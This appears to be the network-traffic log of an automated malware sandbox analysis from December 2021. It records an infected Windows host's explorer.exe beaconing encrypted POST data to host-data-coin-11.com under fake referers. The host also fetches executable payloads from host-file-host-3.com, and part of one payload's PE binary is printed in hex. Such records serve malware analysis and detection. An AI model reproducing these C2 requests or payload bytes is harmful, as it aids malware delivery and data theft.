Dec 1, 2021 10:04:40.222048044 CET	3176	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rxdwffwjbf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 136 Host: host-data-coin-11.com
Dec 1, 2021 10:04:40.222222090 CET	3177	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 90 66 5d 02 c8 a1 c1 64 2b be bb 18 Data Ascii: o:@ACFkUwmDu$f]d+{?iFm`E=6]Ft&ab1_56NG4$
Dec 1, 2021 10:04:40.321014881 CET	3177	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49750	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:26.243459940 CET	1097	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jmuwhyhn.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 316 Host: host-data-coin-11.com
Dec 1, 2021 10:04:26.243482113 CET	1098	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 00 87 91 73 Data Ascii: o:@ACFkUwmDu$f]dsC[\|\B@rxI9E#rY<7xi)0A/^JUL^8qb7`0*l#MYs'2Gy<&&KpM5"+n^MXT!%P=S\!
Dec 1, 2021 10:04:26.347946882 CET	1098	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49782	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:40.408685923 CET	3179	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://molwdgi.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 231 Host: host-data-coin-11.com
Dec 1, 2021 10:04:40.408701897 CET	3180	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 91 66 5d 02 c8 a1 c1 64 16 96 86 2a Data Ascii: o:@ACFkUwmDu$f]d?XuP^y.KE7K'DZ;>fHb0'JN7zz;#Nn:vbV/m4(DmkJx@p?Ngi2.:?
Dec 1, 2021 10:04:40.512445927 CET	3182	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 48 ec a0 8a 70 bc 57 da 4a d4 f6 2e 87 25 eb c3 94 58 23 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9HpWJ.%X#c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49786	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:40.885488987 CET	3223	OUT	GET /files/6096_1638289274_6885.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-file-host-3.com
Dec 1, 2021 10:04:40.966351986 CET	3227	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:40 GMT Content-Type: application/x-msdos-program Content-Length: 163328 Connection: close Last-Modified: Tue, 30 Nov 2021 16:21:14 GMT ETag: "27e00-5d203f23b200e" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 53 ec f2 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 42 01 00 00 ec 74 02 00 00 00 00 12 2a 00 00 00 10 00 00 00 60 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 76 02 00 04 00 00 78 5b 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 e8 01 00 78 00 00 00 00 b0 75 02 18 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 61 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 95 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 40 01 00 00 10 00 00 00 42 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7e 90 00 00 00 60 01 00 00 92 00 00 00 46 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 75 73 02 00 00 02 00 00 18 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 65 66 65 67 00 00 72 02 00 00 00 80 75 02 00 04 00 00 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 67 75 79 75 73 00 00 70 02 00 00 00 90 75 02 00 04 00 00 00 f4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 60 2e 76 65 6e 75 00 00 00 17 00 00 00 00 a0 75 02 00 02 00 00 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 60 2e 72 73 72 63 00 00 00 18 83 00 00 00 b0 75 02 00 84 00 00 00 fa 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 44 24 04 c2 04 00 81 00 40 36 ef c6 c3 55 8b ec 81 ec 2c 0c 00 00 8b 45 08 53 56 8b 30 8b 40 04 57 33 ff 81 3d 04 50 b5 02 ee 00 00 00 89 45 f8 75 09 57 57 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS_Bt*`@@vx[Dxua@`d.textP@B `.rdata~`F@@.data`us@.fefegru@@.guyuspu@`.venuu@`.rsrcu@@3D$@6U,ESV0@W3=PEuWW
Dec 1, 2021 10:04:40.966413021 CET	3228	IN	Data Raw: 57 ff 15 4c 60 41 00 a1 00 12 42 00 89 45 e8 a1 04 12 42 00 89 45 d8 8d 45 fc 89 7d fc c7 45 e4 b9 79 37 9e e8 a9 ff ff ff a1 08 12 42 00 81 45 fc e0 00 00 00 89 45 e0 a1 0c 12 42 00 89 45 dc c7 45 f0 20 00 00 00 c7 45 f4 02 00 00 00 83 45 f4 03 Data Ascii: WL`ABEBEE}Ey7BEEBEE EEPEuP@.u=L'BMQO.P6M]3E'u/EPWWW`AWWP$`AWPhDA8`AE)E%R]EUE
Dec 1, 2021 10:04:40.966455936 CET	3229	IN	Data Raw: fe ff ff a3 65 71 04 c7 85 20 ff ff ff b5 54 da 15 c7 45 a4 44 f0 df 54 c7 85 d8 fe ff ff cb 21 fa 62 c7 45 14 a8 21 fb 52 c7 45 2c 4f 6b 18 54 c7 45 60 d4 ad d9 5b c7 85 4c ff ff ff 04 f9 2e 00 c7 85 f4 fe ff ff d9 3a 80 0c c7 85 e0 fe ff ff a5 Data Ascii: eq TEDT!bE!RE,OkTE`[L.:r\|tAxEu,)EB(EP6D6E%b(uE[}(T*(lg1E)EX).B\|TH_GT
Dec 1, 2021 10:04:40.966496944 CET	3231	IN	Data Raw: 7a e6 6c c7 85 3c fe ff ff f2 31 c4 3f c7 45 a0 cf ac 99 49 c7 85 04 ff ff ff f3 ac 1f 7d c7 85 04 fe ff ff 1f fa ce 40 c7 45 e8 4b a9 9a 49 c7 85 9c fd ff ff 55 60 2b 70 c7 85 60 fd ff ff d0 f7 ca 2b c7 85 0c ff ff ff fb 1a 1c 05 c7 85 94 fe ff Data Ascii: zl<1?EI}@EKIU`+p`+,YPH}o~%Zj#YhEYXOxF+Pz6D\&EU;WP'dg=Dx
Dec 1, 2021 10:04:40.966548920 CET	3232	IN	Data Raw: e0 8b 45 e0 b8 4c e5 a3 38 f7 a5 2c fe ff ff 8b 85 2c fe ff ff 81 ad 2c fe ff ff 47 b8 1d 22 81 85 6c fd ff ff d1 35 c7 02 b8 92 58 f7 7d f7 a5 e4 fe ff ff 8b 85 e4 fe ff ff b8 41 56 76 5f f7 a5 e4 fe ff ff e8 9c f1 ff ff 33 ff 39 35 04 50 b5 02 Data Ascii: EL8,,,G"l5X}AVv_395Pv =PDuVXP,`AG;=Pr3P^u#VhAhA `AVVVH`AVVV`AG@\|3vuAd$\|j{_=PuVV`AVV`AVVVV`AOu
Dec 1, 2021 10:04:40.966593981 CET	3233	IN	Data Raw: 6a 0c 68 70 e5 41 00 e8 a7 0c 00 00 83 4d e4 ff 33 c0 8b 75 08 85 f6 0f 95 c0 85 c0 75 15 e8 3c 0c 00 00 c7 00 16 00 00 00 e8 df 0b 00 00 83 c8 ff eb 0d f6 46 0c 40 74 0d 83 66 0c 00 8b 45 e4 e8 b3 0c 00 00 c3 56 e8 8a 05 00 00 59 83 65 fc 00 56 Data Ascii: jhpAM3uu<F@tfEVYeV<YEEuVYUhaAd`AthaAP@`Atu]UuYuh`Aj- YjKYV"V"VV"V"Vw V
Dec 1, 2021 10:04:40.966648102 CET	3235	IN	Data Raw: 89 35 40 75 b5 02 e8 b7 2e 00 00 59 59 a3 20 65 b5 02 85 c0 75 05 6a 1a 58 5e c3 33 d2 b9 10 00 42 00 eb 05 a1 20 65 b5 02 89 0c 02 83 c1 20 83 c2 04 81 f9 90 02 42 00 7c ea 6a fe 5e 33 d2 b9 20 00 42 00 57 8b c2 c1 f8 05 8b 04 85 20 64 b5 02 8b Data Ascii: 5@u.YY eujX^3B e B\|j^3 BW dt;tu1 BB\|_3^N=hBt.5 eYUVuB;r"pBw+QNY V\|`A^]UE}P
Dec 1, 2021 10:04:40.966705084 CET	3236	IN	Data Raw: e8 94 01 00 00 83 c8 ff 5d c3 8b 40 10 5d c3 8b ff 55 8b ec 8b 45 08 a3 84 16 42 00 5d c3 8b ff 55 8b ec 81 ec 28 03 00 00 a1 a0 05 42 00 33 c5 89 45 fc 53 8b 5d 08 57 83 fb ff 74 07 53 e8 5a 34 00 00 59 83 a5 e0 fc ff ff 00 6a 4c 8d 85 e4 fc ff Data Ascii: ]@]UEB]U(B3ES]WtSZ4YjLjPd40ffffffEM0IM
Dec 1, 2021 10:04:40.966746092 CET	3238	IN	Data Raw: 8b ec 83 ec 1c 56 ff 75 08 8d 4d e4 e8 65 ff ff ff 8b 45 10 8b 75 0c 85 c0 74 02 89 30 85 f6 75 24 e8 8b fc ff ff c7 00 16 00 00 00 e8 2e fc ff ff 80 7d f0 00 74 07 8b 45 ec 83 60 70 fd 33 c0 e9 e0 01 00 00 83 7d 14 00 74 0c 83 7d 14 02 7c d0 83 Data Ascii: VuMeEut0u$.}tE`p3}t}\|}$eMSW~~EPjP:MBtG-uM+uGEOF$=u*0tE6<xt<XtE#
Dec 1, 2021 10:04:40.966785908 CET	3239	IN	Data Raw: 24 08 89 54 24 04 89 14 24 e8 d2 37 00 00 83 c4 10 dd 44 24 04 c3 90 cc cc cc cc 80 7a 0e 05 75 11 66 8b 9d 5c ff ff ff 80 cf 02 80 e7 fe b3 3f eb 04 66 bb 3f 13 66 89 9d 5e ff ff ff d9 ad 5e ff ff ff bb 6c 63 41 00 d9 e5 89 95 6c ff ff ff 9b dd Data Ascii: $T$$7D$zuf\?f?f^^lcAl`pa$#zuf\?f?f^^lcAl`pa`a$
Dec 1, 2021 10:04:41.024384975 CET	3246	IN	Data Raw: 91 42 00 00 59 83 65 fc 00 8b 07 f6 44 30 04 01 74 14 ff 75 10 ff 75 0c 53 e8 f6 fe ff ff 83 c4 0c 89 45 e4 eb 17 e8 12 f2 ff ff c7 00 09 00 00 00 e8 1a f2 ff ff 83 20 00 83 4d e4 ff c7 45 fc fe ff ff ff e8 0c 00 00 00 8b 45 e4 e8 85 f2 ff ff c3 Data Ascii: BYeD0tuuSE MEE]SBYUSVuF3u@t9FW>+~,WPVYP";uFyFN _Ff^[]UVuuV5Y/V\|YtF@t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49799	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:43.433692932 CET	3849	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gghke.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 189 Host: host-data-coin-11.com
Dec 1, 2021 10:04:43.433708906 CET	3849	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 91 66 5d 02 c9 a1 c1 64 56 a9 aa 7e Data Ascii: o:@ACFkUwmDu$f]dV~3%uM{wsKx"6XMLCIw'2N>/&//bj0/u06z0-wA
Dec 1, 2021 10:04:43.534595013 CET	3849	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49801	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:43.629026890 CET	3852	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dpsjrby.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 224 Host: host-data-coin-11.com
Dec 1, 2021 10:04:43.629034996 CET	3852	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8e 66 5d 02 c8 a1 c1 64 1c a6 ae 15 Data Ascii: o:@ACFkUwmDu$f]d3Men=GJ#Xc&NwK]#po."'bJ H3m6(Lt2=Wl5KS+?^s(m?9NlbL,%68*WcQ`bW
Dec 1, 2021 10:04:43.731081009 CET	3854	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49803	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:43.826879978 CET	3856	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mlwynhpbb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 272 Host: host-data-coin-11.com
Dec 1, 2021 10:04:43.829688072 CET	3856	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8f 66 5d 02 c8 a1 c1 64 28 a5 a0 01 Data Ascii: o:@ACFkUwmDu$f]d(pzGnK;#.uY"'g8Sn&^:;OH2VW_7UZ>CQs<#wZTnfwmpF+PTX?Fv^iGm-iTE[
Dec 1, 2021 10:04:43.933253050 CET	3857	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49805	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:44.026300907 CET	3858	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://njupmvh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 168 Host: host-data-coin-11.com
Dec 1, 2021 10:04:44.031203032 CET	3859	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8c 66 5d 02 c8 a1 c1 64 44 d2 df 21 Data Ascii: o:@ACFkUwmDu$f]dD!i0Y?b(>Q"u~)q\|TI1\|1P.wn3]GOqiW385hoJ[Ss
Dec 1, 2021 10:04:44.125761032 CET	3860	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OU&1UPJ$dP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49808	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:44.522725105 CET	3864	OUT	GET /game.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-file-host-3.com
